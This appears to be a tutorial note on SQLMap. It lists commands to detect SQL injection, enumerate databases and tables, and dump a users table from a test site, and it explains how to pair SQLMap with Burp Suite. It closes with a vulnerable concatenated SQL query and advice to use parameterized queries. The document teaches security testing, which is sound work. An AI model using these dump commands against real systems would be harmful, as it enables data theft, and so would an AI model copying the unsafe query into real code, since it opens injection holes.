SQLMap Overview

SQLMap is a software utility used for automated detection and exploitation of SQL injection vulnerabilities in web applications.

Basic SQLMap Commands

1. Check for SQL injection and view the database banner:

python sqlmap.py -u <URL> --banner

This command checks if the URL is vulnerable and displays information about the database, such as the version and operating system.

2. List available databases:

python sqlmap.py -u <URL> --dbs

This command retrieves all the databases from the vulnerable server.

3. List tables inside a specific database:

python sqlmap.py -u <URL> -D acuart --tables

This lists all the tables in the acuart database.

4. Dump data from a specific table:

python sqlmap.py -u <URL> -D acuart -T users --dump

This extracts and displays data from the users table in the acuart database.

Using Burp Suite with SQLMap

Burp Suite has a feature called Repeater which allows you to manually test and modify HTTP requests.

Steps:

1. Capture the request using Burp's Proxy.

2. Send the request to Repeater.

3. Modify the parameters using special characters (like ' or *) to test for SQL injection.

4. Right-click in Repeater and select "Save item".

5. Save the request as test.txt in your SQLMap folder.

6. Run SQLMap with the saved request:

python sqlmap.py -r test.txt

You can also add options like:

python sqlmap.py -r test.txt -D acuart --tables

Dynamic SQL Queries (Unsafe Example):

SELECT * FROM users WHERE username = ' " + username + " ' AND password = ' " + password + " ';

This is an example of a dynamic query that is vulnerable to SQL injection.

Security Recommendation:

Developers should avoid writing dynamic SQL queries.

Always use parameterized queries or prepared statements to prevent SQL injection vulnerabilities.